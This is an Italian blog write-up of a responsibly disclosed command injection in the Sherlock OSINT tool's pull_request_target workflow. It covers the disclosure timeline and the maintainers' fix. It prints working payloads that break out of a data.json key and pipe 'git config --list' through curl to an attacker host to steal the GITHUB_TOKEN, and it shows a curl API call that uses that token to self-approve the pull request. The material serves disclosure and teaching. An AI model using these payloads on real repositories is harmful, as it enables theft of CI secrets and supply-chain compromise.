Sherlock è uno di quei tool che chiunque si occupi di OSINT ha usato almeno una volta. Inserisci uno username e lui va a controllare se quell’identità esiste su oltre 400 social network e piattaforme di registrazione. È diretto, veloce, scritto in Python, e ha una community enorme: al momento in cui scrivo, il repository ufficiale conta circa 83.000 stelle su GitHub e centinaia di contributor.

Repository Sherlock

Per dare un’idea del raggio di blast in caso di compromissione, ho raccolto qualche metrica pubblica al momento di scrivere questo articolo:

  • GitHub, da gh api repos/sherlock-project/sherlock: 82.964 stelle, 9.677 fork, 1.289 watcher, repository attivo dal 2018.
  • PyPI, da pypistats.org: 321.609 download del pacchetto sherlock-project nei sei mesi tracciati (Nov 2025 → Mag 2026), con una media recente di ~2.600 download al giorno e un trend in forte crescita (Dic 2025 ~39k/mese → Apr 2026 ~81k/mese, +108% in quattro mesi).

Lo avevo usato in passato per attività di ricognizione su username durante penetration test. L’altro giorno mi è capitato di rimetterci mano e, prima di lanciarlo, ho fatto qualcosa che faccio spesso con i tool che uso spesso: ho aperto il sorgente. Quando un progetto ha tanta visibilità e tanti contributor esterni, spesso la superficie d’attacco interessante non è nel codice applicativo ma nella supply chain: dipendenze, pipeline CI/CD, automazioni che gestiscono PR e release. È esattamente lì che ho trovato la vulnerabilità che ora vi racconto.

Cos’è Sherlock

Sherlock è un tool open-source distribuito su PyPI come sherlock-project. La sua logica è semplice: legge un file data.json con la mappatura di centinaia di siti (URL, pattern di response, formato dello username) e per ciascuno controlla in parallelo se l’username fornito risulta registrato. È utlizzatissimo tra i tool di OSINT e viene spesso insegnato nei corsi introduttivi all’argomento.

Il fatto che il database dei siti sia centralizzato in un singolo file JSON crea una superficie interessante: ogni nuovo sito che la community vuole supportare passa attraverso una pull request che modifica data.json. Per validare automaticamente queste modifiche, i maintainer hanno costruito una pipeline CI che esegue test sui siti aggiunti o modificati. È in quella pipeline che ho trovato il bug.

Punto di partenza: i workflow

Quando faccio code review per questa classe di vulnerabilità, la prima cosa che guardo non è src/ o lib/. È .github/workflows/. È il primo posto dove cercare perché:

  • I workflow GitHub Actions girano con accesso ai secret del repository
  • Le pipeline CI vengono eseguite automaticamente in risposta a eventi controllati dall’esterno (PR, issue, comment)
  • Storicamente sono il punto debole più sfruttato negli ultimi due anni di supply chain attack

L’incidente di trivy-action (l’action ufficiale dello scanner Aqua Security per la sicurezza dei container) di febbraio 2026 è un esempio quasi didattico: un attaccante ha aperto una PR da un fork verso il repo aquasecurity/trivy-action, il workflow pull_request_target ha fatto checkout del codice della PR e lo ha eseguito in contesto privilegiato, esfiltrando un PAT del maintainer. Da lì l’attaccante ha sovrascritto 75 release tag dell’action, iniettando codice che rubava secret in tutte le pipeline CI dei progetti che usavano trivy-action. Trivy è installato in migliaia di organizzazioni, l’esposizione è stata massiva (CrowdStrike writeup, Socket writeup).

Stessa dinamica con tj-actions/changed-files (CVE-2025-30066) e reviewdog/action-setup (CVE-2025-30154) di marzo 2025: una catena partita da un workflow pull_request_target vulnerabile su un repository periferico ha esfiltrato il PAT di un maintainer, da lì un payload base64-encoded è stato pushato su tutti i tag di versione di tj-actions/changed-files (un’action usata da oltre 23.000 repository), iniettando uno step che dumpava la memoria del runner GitHub nei log Actions pubblici. Il target iniziale dell’operazione era Coinbase. CISA ha emesso un alert dedicato (CISA advisory).

Più recentemente la stessa classe di bug ha colpito timescale/pgai (GHSA-89qq-hgvp-x37m, maggio 2025) e progetti GoogleCloudPlatform analizzati da Orca Security.

GitHub stessa, in un blog post pubblicato nel luglio 2025, ha messo nero su bianco che la workflow injection è “una delle vulnerabilità più comuni nei progetti ospitati su GitHub” e che, secondo l’Octoverse 2024/2025, le vulnerabilità di tipo injection sono al primo posto tra le categorie OWASP rilevate da CodeQL su tutta la piattaforma. Il post identifica esplicitamente pull_request_target come trigger “sostanzialmente più pericoloso” di pull_request perché rilassa le restrizioni di permessi e accesso ai secret applicate normalmente alle PR provenienti da fork.

Sapere che questa classe di bug esiste e averla vista più volte negli ultimi due anni rende la code review veloce: si apre la cartella dei workflow, si cercano i trigger pull_request_target, e per ciascuno si guarda se ci sono interpolazioni ${{ ... }} di campi controllabili dall’attaccante dentro blocchi run: o env: referenziati da blocchi run:.

Perché pull_request_target è pericoloso

In GitHub Actions ci sono due trigger principali per le pull request:

  • pull_request: il workflow gira nel contesto del fork dell’attaccante, con permessi minimi e senza accesso ai secret. Se la PR contiene codice malevolo, gira in sandbox isolata. Sicuro per default.
  • pull_request_target: il workflow gira nel contesto del repository di destinazione, con permessi pieni e accesso completo ai secret. Esiste perché serve per casi d’uso legittimi (commentare PR da fork con un bot, applicare label automaticamente, validare contributi che richiedono di accedere ai secret di test).

Il problema è che il workflow pull_request_target non deve mai eseguire codice fornito dall’attaccante né interpolare campi controllati dall’attaccante in posizioni che diventano shell. Se interpola ${{ github.event.pull_request.title }} (controllabile dall’attaccante) dentro un run: (eseguito da bash), l’espressione viene espansa prima che la shell parsi il comando. Una PR con titolo "; curl evil.com/x; # diventa codice shell che viene eseguito con i secret del repo di destinazione.

Tornando a Sherlock.

Il finding

Nel repository di Sherlock c’è il workflow .github/workflows/validate_modified_targets.yml. Si attiva su pull_request_target, esegue uno script Python che legge le chiavi modificate in sherlock_project/resources/data.json, e usa quei valori in un comando di test:

on:
  pull_request_target:

permissions:
  contents: read
  pull-requests: write

jobs:
  validate-modified-targets:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - id: discover-modified
        run: |
          # script Python che produce le chiavi JSON modificate
          # output: changed_targets="key1 key2 key3"
      - name: Validate
        run: |
          poetry run pytest -q --tb no -rA -m validate_targets -n 20 \
            --chunked-sites "${{ steps.discover-modified.outputs.changed_targets }}"

Il valore ${{ steps.discover-modified.outputs.changed_targets }} è una concatenazione delle chiavi del JSON contenuto nel branch della PR. Le chiavi sono completamente controllate dall’attaccante: chiunque può aprire una PR che aggiunge una chiave qualsiasi a data.json. La chiave finisce, senza alcun escape, dentro un blocco run: eseguito da bash.

Per chi non avesse seguito la sezione precedente: questa è una command injection da manuale. Una chiave del tipo:

TestSite"; curl https://attacker.com/?secret=$TOKEN; echo "

produce a runtime il comando:

poetry run pytest ... --chunked-sites "TestSite"; curl https://attacker.com/?secret=$TOKEN; echo ""

E gira nel contesto del repository di destinazione, con pull-requests: write e accesso ai secret del workflow.

Il trigger pull_request_target non richiede review né merge: il workflow parte automaticamente alla creazione della PR, anche da un account anonimo creato cinque minuti prima. Nessuna interazione umana richiesta.

Building the PoC: scelte etiche

Qui c’è una scelta importante da fare. Il modo più diretto per dimostrare la vulnerabilità sarebbe stato: aprire una PR sul repository ufficiale di Sherlock con il payload malevolo, aspettare che il workflow venisse eseguito, raccogliere il risultato. Tre minuti di lavoro.

Non l’ho fatto, e per un motivo molto semplice.

Una pull request su un repository pubblico è visibile a chiunque. Il diff resta indicizzato anche dopo la chiusura. I log dei workflow GitHub Actions sono accessibili via web. Se avessi aperto una PR con un payload di command injection sul repo ufficiale, avrei pubblicato di fatto un exploit funzionante prima ancora di aver dato ai maintainer la possibilità di vederlo. Chiunque, in attesa che la fix venisse rilasciata, avrebbe potuto copiare il payload e replicare l’attacco.

Questa è la differenza, secondo me, tra fare security research seriamente e lanciare tool a occhi chiusi: pensare al blast radius di ogni azione prima di compierla. Una PoC pubblica su un repository attivo equivale a una full disclosure. Esiste un motivo per cui le security advisory sono in privato e c’è una finestra di disclosure, per dare al progetto il tempo di proteggersi prima che il mondo sappia come bucarli.

Ho riprodotto la vulnerabilità su un mio fork, con una pull request da un branch all’altro dello stesso fork. Stesso comportamento del workflow, zero impatto sul repository ufficiale, zero esposizione pubblica.

Il primo tentativo non ha funzionato

Il payload che ho usato inizialmente era ovvio:

TestSite"; curl https://my-oast.fun/exfil?token=$GITHUB_TOKEN; echo "

Ho aperto la PR sul mio fork, il workflow è partito, ho ricevuto la callback OAST. Ma il parametro token era vuoto:

GET /exfil?token= HTTP/2.0

Il comando aveva girato, l’iniezione funzionava, ma $GITHUB_TOKEN non c’era. Quando ho approfondito ho capito perché.

GITHUB_TOKEN non è una variabile d’ambiente disponibile di default nelle shell dei runner. È un secret di GitHub Actions, accessibile solo nelle espressioni ${{ secrets.GITHUB_TOKEN }} o, esplicitamente, quando un workflow lo dichiara nel blocco env: di uno step:

- name: Some step
  env:
    GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
  run: echo $GITHUB_TOKEN

Nel workflow di Sherlock non c’era questa dichiarazione. Quindi $GITHUB_TOKEN era effettivamente vuoto quando il payload veniva eseguito. Buona pratica dei maintainer (anche se non sufficiente, vedremo dopo).

A questo punto la domanda è stata: il GITHUB_TOKEN è davvero irraggiungibile, o è solo nascosto da qualche parte? La risposta è la seconda, e il dove è interessante.

Il git credential helper

Il workflow eseguiva actions/checkout@v4 per scaricare il codice della PR. Quando actions/checkout clona un repository, di default configura il git credential helper del runner per autenticare i comandi git successivi (push, pull, fetch). Lo fa salvando il token in un header HTTP di autorizzazione direttamente nel .git/config del repository:

[http "https://github.com/"]
    extraheader = AUTHORIZATION: basic <base64-encoded-token>

Il token è codificato in base64 nella forma x-access-token:ghs_XXXXXXXXX. È salvato in chiaro su disco, nella working directory del workflow.

Il payload aggiornato è diventato:

TestSite"; git config --list | curl -X POST -d @- https://my-oast.fun/gitconfig; echo "

Apre la PR. Il workflow parte. Pochi secondi dopo, callback POST sull’OAST con il dump completo di git config --list, incluso l’header http.https://github.com/.extraheader=AUTHORIZATION: basic eC1hY2Nlc3MtdG9rZW46Z2hzXzExWFhYWFhYWFhYWFhY....

Decodificato:

x-access-token:ghs_11ZXXXXXXXXXXXXXXX...

GITHUB_TOKEN valido. Estratto da una PR aperta da un account anonimo, senza interazione umana, in meno di un minuto.

La PoC step-by-step

La PoC completa, autoconsistente e automatizzata è disponibile su github.com/Astaruf/CVE-2026-44590. Il repository contiene poc.py, uno script Python che esegue l’intera catena d’attacco end-to-end (fork, abilitazione setting, payload injection, apertura PR, polling OAST, decodifica del token, auto-approval della PR via API GitHub) e produce un verdetto finale VULNERABILITY CONFIRMED o FIX VERIFIED. Include anche un flag --vulnerable che fa il rollback del fork al commit pre-fix per riprodurre lo scenario originale.

Per chi vuole replicare l’attacco manualmente o capirne il flusso, ecco il walkthrough completo. Tutti gli step sono stati eseguiti su un mio fork personale di sherlock-project/sherlock, mai sul repository ufficiale.

Step 1: Fork e setup

Si parte dal fork del repository tramite l’interfaccia GitHub (https://github.com/sherlock-project/sherlockFork).

Fork del repository Sherlock

Clone in locale:

git clone https://github.com/<YOUR_USERNAME>/sherlock.git sherlock-poc
cd sherlock-poc

Clone del fork

I workflow su un fork sono disabilitati di default per ragioni di sicurezza, vanno abilitati esplicitamente andando su https://github.com/<YOUR_USERNAME>/sherlock/actions e cliccando “I understand my workflows, go ahead and enable them”.

Abilitazione dei workflow sul fork

Step 2: Branch malevolo e payload

In un attacco reale, l’attaccante lavorerebbe sul proprio fork e aprirebbe una cross-fork PR contro il repository upstream. Qui simulo tutto all’interno del mio fork per evitare ogni esposizione pubblica.

git checkout -b malicious-pr

Creazione del branch malicious-pr

Modifico sherlock_project/resources/data.json aggiungendo una chiave costruita per spezzare le virgolette del comando shell. Il payload usa il pattern git config --list | curl ... per esfiltrare il GITHUB_TOKEN dal git credential helper, e include uno sleep 180 per tenere vivo il workflow abbastanza a lungo da poter usare il token prima che scada:

"TestSite\"; git config --list | curl -X POST -d @- https://<ATTACKER_SERVER>/exfil; sleep 180; echo \"": {
    "errorType": "status_code",
    "url": "https://example.com/{}",
    "urlMain": "https://example.com/",
    "username_claimed": "test"
}

data.json con il payload iniettato

Commit e push:

git add sherlock_project/resources/data.json
git commit -m "Add new site: TestSite"
git push origin malicious-pr

Commit e push del branch malevolo

Step 3: Apertura della PR

Vado su https://github.com/<YOUR_USERNAME>/sherlock/compare/master...malicious-pr e creo la PR. Importante: il base repository deve puntare al mio fork, non a sherlock-project/sherlock. In un attacco reale, l’attaccante punterebbe direttamente a sherlock-project/sherlock:master.

Creazione della PR fork-to-fork

Step 4: Callback OAST

Il workflow validate_modified_targets.yml parte automaticamente, senza alcun intervento umano. Pochi secondi dopo, sull’OAST arriva una POST con il dump completo di git config --list:

POST /exfil HTTP/2.0
Host: <ATTACKER_SERVER>
User-Agent: curl/8.5.0

...http.https://github.com/.extraheader=AUTHORIZATION: basic eC1hY2Nlc3MtdG9rZW46Z2hzX1hYWFhYWFhYWFhYWA==...

Callback OAST con il GITHUB_TOKEN base64-encoded

Conferma di RCE sul runner CI e di esfiltrazione del GITHUB_TOKEN, senza alcuna interazione umana.

Step 5: Uso del token per auto-approvare la PR

Il GITHUB_TOKEN ricevuto eredita le permissions definite nel workflow. In validate_modified_targets.yml:

permissions:
  contents: read
  pull-requests: write

Con pull-requests: write il token può fare review e approvare pull request via API. Decodifico il valore base64 dell’header AUTHORIZATION: basic:

echo "<BASE64_VALUE>" | base64 -d

Decodifica base64 del GITHUB_TOKEN

Ottengo una stringa nella forma x-access-token:ghs_XXXXXXXXX.... Mentre il workflow è ancora in esecuzione (lo sleep 180 nel payload garantisce la finestra temporale), uso il token per approvare la PR via GitHub API:

curl -X POST \
  -H "Authorization: token <GITHUB_TOKEN>" \
  -H "Accept: application/vnd.github+json" \
  https://api.github.com/repos/<OWNER>/sherlock/pulls/<PR_NUMBER>/reviews \
  -d '{"event":"APPROVE","body":"All checks passed. LGTM!"}'

Chiamata API per approvare la PR

La response contiene "state": "APPROVED". Sulla pagina della PR la review appare come postata da github-actions[bot] con il messaggio “All checks passed. LGTM!”, indistinguibile da una legittima automazione CI.

PR auto-approvata da github-actions[bot]

Da qui in poi dipende dalle branch protection rules del repo. In Sherlock, la PR #2824 (verificata pubblicamente) è stata mergiata in master con zero review umane, quindi non c’è un requisito hard di review minima. Un’auto-approvazione può portare a un merge se il maintainer la considera valida.

Impatto reale: cosa potrebbe fare un attaccante

Quello dimostrato sopra è il primitivo: RCE sul runner, GITHUB_TOKEN esfiltrato, PR auto-approvata. Ma il valore vero di una vulnerabilità non si misura nel primitivo, si misura in cosa l’attaccante può fare a partire da lì. Provo a tracciare i vettori realistici, in ordine di gravità crescente.

Vettore 1: ingegneria sociale → merge → supply chain via PyPI

Lo scenario più probabile. L’attaccante apre una PR apparentemente legittima (“Add new site: Telegram Premium” o simile) in cui include due cose:

  • Il payload di command injection nascosto in una chiave del data.json
  • Una modifica “innocua” altrove nel codice (una nuova feature, un fix minore)

Il workflow vulnerabile esegue il payload, esfiltra il GITHUB_TOKEN, auto-approva la PR. Il maintainer apre la PR e vede:

  • Titolo plausibile
  • Approvata da github-actions[bot] (sembra un’approval CI legittima)
  • Tutti i check verdi (l’attaccante può forzare success con exit 0 nel payload)
  • Diff che a colpo d’occhio sembra normale (chi guarda con sospetto una chiave-stringa di data.json?)

Il maintainer clicca “Merge”. Sappiamo che la PR #2824 in sherlock è stata mergiata con zero review umane, quindi non esiste una mandatory review rule che blocchi questa traiettoria.

Una volta che il codice è su master:

  • Sherlock è distribuito su PyPI come sherlock-project. È installato in centinaia di migliaia di laboratori OSINT, usato in CTF, in corsi universitari, in penetration test reali. La prossima release pubblicata distribuisce il codice malevolo a tutti gli utenti che fanno pip install --upgrade sherlock-project.
  • Sherlock ha 83.000 stelle e centinaia di contributor: il raggio di blast è paragonabile, in proporzione, a quello di trivy-action.

Vettore 2: pivoting su workflow privilegiati

Una volta che codice malevolo è su master, l’attaccante non è più limitato al GITHUB_TOKEN del workflow vulnerabile (che ha solo contents: read e pull-requests: write). Ha accesso al superset di tutti i secret usati da tutti i workflow del repo.

Nel caso di Sherlock, il workflow update-site-list.yml triggera su push a master e contiene SSH_DEPLOY_KEY e API_TOKEN_GITHUB, secret della pipeline di pubblicazione del sito statico. Un attaccante con codice merged può modificare quel workflow (o aggiungerne un altro) per esfiltrare questi secret di valore molto più alto del GITHUB_TOKEN iniziale, e da lì compromettere il sito web del progetto, l’account di deploy, eventuali altri repository raggiungibili con quei token.

Vettore 3: persistenza

Con codice in master, l’attaccante può modificare i workflow per dargli accesso permanente: aggiungere chiavi SSH al deploy, riscrivere release tag già pubblicati, inserire una seconda backdoor in un file diverso dal payload originale (così che la rimozione della prima PR malevola non ripulisca l’infezione). La pulizia post-incidente di un repository compromesso a questo livello è molto più costosa della singola PR malevola da revertare.

Vettore 4: abuso del runner anche senza merge

Anche senza arrivare al merge, durante la finestra di RCE (alcuni minuti) l’attaccante può:

  • Avvelenare le cache CI (actions/cache): inserire artefatti corrotti che verranno serviti ai run successivi del workflow legittimo
  • Modificare file generati dal workflow prima che vengano committati o postati come commento (es. un eventuale validation_summary.md che un altro step pubblica come review)
  • Generare commenti o review fake sulla PR firmati da github-actions[bot], sfruttando il fatto che la sua identità ispira fiducia

Perché questa è una “supply chain compromise” e non solo una “RCE in CI”

L’impatto non è limitato all’host GitHub. Si propaga a valle verso:

  • Gli utenti finali del pacchetto PyPI sherlock-project (potenzialmente centinaia di migliaia di laptop dove gira sherlock)
  • L’infrastruttura del progetto (sito web, deploy keys, account social)
  • Le organizzazioni downstream che usano sherlock in pipeline automatizzate (CTF platform, security training environment, tool OSINT integrato in framework più grandi)

Lo scenario non è teorico. È esattamente quello che è successo con trivy-action (febbraio 2026) e tj-actions/changed-files (CVE-2025-30066, marzo 2025). La sequenza è sempre la stessa:

  1. Workflow pull_request_target con interpolazione di input non fidato
  2. Esfiltrazione di un token con permessi di scrittura
  3. Push di codice malevolo nel repository
  4. Distribuzione del codice via release/tag/package manager
  5. Migliaia di sistemi downstream compromessi

Uno dei mantainer di Sherlock, nel commento di chiusura dell’advisory, l’ha sintetizzato in una riga: “Thank you for reporting this, you prevented a supply chain attack.” Non era un’iperbole, era esattamente la traiettoria possibile.

Responsible disclosure

Ho aperto una GitHub Security Advisory privata sul repository di Sherlock l’11 aprile 2026, allegando la PoC completa, i payload, gli screenshot delle callback OAST, e una proposta di fix.

Per le prime tre settimane non ho ricevuto risposta. Capita: i progetti open-source maintained da volontari hanno tempi loro, e Sherlock non fa eccezione. Il 30 aprile, dopo aver atteso un periodo ragionevole, ho deciso di contattare direttamente due dei maintainer su LinkedIn, spiegando brevemente la situazione e chiedendo se potevano dare un’occhiata all’advisory aperta.

La risposta è arrivata in poche ore. Entrambi i maintainer si sono mostrati cordiali, sinceramente preoccupati, e hanno preso in carico la segnalazione immediatamente. Uno dei due, occupato in altre attività, ha girato la cosa al collega che ha pushato la fix lo stesso giorno. L’altro, una volta vista l’advisory, ha confermato la vulnerabilità e ha rilasciato il fix entro 24 ore.

Una cosa che mi ha colpito positivamente: nessuno dei due ha mai dato l’impressione di considerare il finding come un’imbarazzante critica al loro lavoro. Lavorano nel mondo della cybersecurity, conoscono il valore della security research, hanno capito immediatamente l’impatto e mi hanno ringraziato nei commenti dell’advisory. Hanno richiesto loro stessi una CVE da assegnare al finding per renderlo pubblicamente tracciabile. Hanno gestito anche i dettagli di packaging in modo intelligente: il maintainer ha cambiato il pacchetto affetto da “pip” a “Repository CI” nell’advisory, per evitare che la vulnerabilità (che non riguarda il pacchetto installato dagli utenti finali ma la pipeline CI) facesse scattare allarmi spuri sulle dashboard di vulnerability scanning di chi monitora PyPI.

A sorpresa, uno dei due maintainer ha anche trovato il link al mio buymeacoffee e ha mandato una piccola ricompensa economica come ringraziamento. In un progetto open-source senza budget né bug bounty program ufficiale, il fatto che un maintainer tiri fuori qualcosa di tasca propria per dire grazie è il tipo di gesto che racconta meglio di qualsiasi commento la serietà e la professionalità con cui questi ragazzi gestiscono il loro progetto. Sono rimasto sinceramente colpito.

È stato, nel suo piccolo, un esempio di come la responsible disclosure può funzionare bene anche in un progetto open-source senza un security team dedicato.

Timeline

  • 2026-04-11: GitHub Security Advisory privata aperta su sherlock-project/sherlock
  • 2026-04-30: contatto diretto a due maintainer via LinkedIn
  • 2026-05-02: presa in carico, fix pushata in giornata
  • 2026-05-07: CVE-2026-44590 assegnata
  • 2026-05-07: advisory pubblicata

La fix

La fix applicata dai maintainer non si limita a chiudere il singolo punto di injection, ma implementa quattro difese indipendenti, ciascuna delle quali, da sola, sarebbe sufficiente a bloccare l’attacco. È un esempio molto pulito di defense in depth applicata a un workflow CI.

1. Trigger ristretto via paths: e branches:

on:
  pull_request_target:
    branches:
      - master
    paths:
      - "sherlock_project/resources/data.json"

Il workflow si attiva solo per PR verso master che modificano effettivamente data.json. Riduce drasticamente la superficie: qualsiasi PR che non tocca data.json non triggera nemmeno il workflow vulnerabile. È una mitigazione superficiale (l’attaccante deve modificare data.json per sfruttare il bug, ma è esattamente quello che fa il payload), serve principalmente a ridurre rumore e attack surface generale.

2. persist-credentials: false sul checkout

- name: Checkout repository
  uses: actions/checkout@v5
  with:
    ref: ${{ github.base_ref }}
    fetch-depth: 0
    persist-credentials: false

Questa è la difesa più importante contro l’esfiltrazione del token. Senza persist-credentials: false, actions/checkout salva il GITHUB_TOKEN dentro .git/config come header HTTP di autorizzazione (è il meccanismo che ho usato per estrarlo nella PoC). Con questa opzione, il token non finisce mai sul disco. Anche se in futuro un’altra interpolazione introduce una RCE altrove nel workflow, l’attaccante non avrà più git config --list come canale di esfiltrazione.

3. Schema validation step (defense in depth indipendente dalla fix)

Tra lo step Discover modified targets e quello che eseguiva la command injection, i maintainer eseguono ora una validazione JSON schema sui nuovi target prima di passarli a pytest:

- name: Validate remote manifest against local schema
  if: steps.discover-modified.outputs.changed_targets != ''
  run: |
    poetry run pytest tests/test_manifest.py::test_validate_manifest_against_local_schema

Questo step esisteva nel repo da ottobre 2025, ben prima della fix di command injection di maggio 2026, e non era stato pensato per la sicurezza ma per la qualità del manifest. Funziona però come barriera: il payload originale dell’advisory (“TestSite\”; …; echo \"") veniva rifiutato qui per additionalProperties: false o per mancanza di errorMsg nel branch corretto dello schema. Per arrivare allo step vulnerabile bisogna costruire una chiave malformata abbastanza in shell ma valida secondo lo JSON schema, riducendo ulteriormente la fattibilità di varianti future del payload.

4. Il fix vero: input non fidato passato via env: con quoting

La modifica chirurgica che chiude la command injection in modo definitivo:

Pre-fix:

- name: Validate modified targets
  run: |
    poetry run pytest -q --tb no -rA -m validate_targets -n 20 \
      --chunked-sites "${{ steps.discover-modified.outputs.changed_targets }}"

Post-fix:

- name: Validate modified targets
  env:
    CHANGED_TARGETS: ${{ steps.discover-modified.outputs.changed_targets }}
  run: |
    poetry run pytest -q --tb no -rA -m validate_targets -n 20 \
      --chunked-sites "$CHANGED_TARGETS" \
      --junitxml=validation_results.xml

La differenza tecnica è netta: ${{ ... }} viene espanso da GitHub Actions prima che bash veda il comando, quindi l’input dell’attaccante diventa parte del codice shell. Con env: invece il valore arriva a bash come variabile d’ambiente, e "$CHANGED_TARGETS" quotato viene trattato come singola stringa argomento di pytest, indipendentemente dal contenuto. La command injection diventa impossibile perché il payload non può mai diventare codice shell, è sempre dato.

L’effetto combinato

Questi quattro layer agiscono in modo indipendente:

  1. Il filtro paths: riduce la superficie
  2. Lo schema validation blocca payload malformati prima ancora che tocchino lo step di interpolazione
  3. Il pattern env: + quoting rende impossibile l’injection nello step di pytest
  4. persist-credentials: false rende il GITHUB_TOKEN non estraibile anche se per qualche motivo l’injection fosse di nuovo possibile

Per bypassare la fix, un attaccante dovrebbe rompere tutti e quattro contemporaneamente: trovare un altro entry-point con pull_request_target (oltre il filtro paths:), scrivere un payload sintatticamente valido secondo lo JSON schema (oltre la schema validation), trovare un’altra interpolazione vulnerabile in un altro step (oltre il pattern env:), e infine identificare un canale alternativo per estrarre il token diverso da git config --list (oltre persist-credentials: false). È esattamente quello che dovrebbe essere una buona fix per una vulnerabilità di questa categoria.

Lessons learned

Per i developer

  • I trigger pull_request_target esistono per un motivo legittimo, ma vanno trattati come superficie d’attacco di alto valore. La regola pratica: zero interpolazione di campi controllabili dall’attaccante (titolo PR, branch name, body, label, contenuto dei file della PR) dentro blocchi run:. Sempre passaggio via env: con quoting delle variabili shell.

  • Se un workflow pull_request_target esegue actions/checkout e non ha bisogno delle credenziali per push, aggiungete persist-credentials: false. Costa zero, elimina un intero vettore di attacco.

  • Le permissions del workflow vanno scritte esplicitamente e ridotte al minimo necessario. pull-requests: write non sembra granché finché non realizzate che permette l’auto-approval di PR malevole.

  • Esistono linter dedicati (CodeQL Actions taint tracking, actionlint, zizmor) che trovano questi pattern automaticamente. Vanno integrati in CI prima che diventino una CVE.

Per chi fa security research

  • Quando analizzate un progetto popolare, partite da .github/workflows/. È il punto a più alto rapporto impatto/sforzo nella maggior parte dei casi. La superficie applicativa di un OSINT tool è interessante, ma una RCE nel CI/CD vale dieci XSS reflected nell’interfaccia utente.

  • Conoscere il funzionamento interno di actions/checkout e dove salva il token è la differenza tra “ho una RCE nel CI” e “ho il GITHUB_TOKEN del repository”. Vale la pena leggere il codice sorgente di queste action, sono brevi e ben documentate.

  • Pensate al blast radius prima di aprire una PR pubblica con il vostro PoC. Una PR è disclosure pubblica de facto. Riprodurre tutto su un proprio fork costa pochi minuti e rispetta la finestra di disclosure responsabile.

  • Quando un advisory resta ferma per settimane, contattare direttamente i maintainer su LinkedIn o via email è perfettamente accettabile. La maggior parte dei maintainer apprezza essere informata, non sono trolling né pressioni indebite. La disclosure è collaborazione.

Riferimenti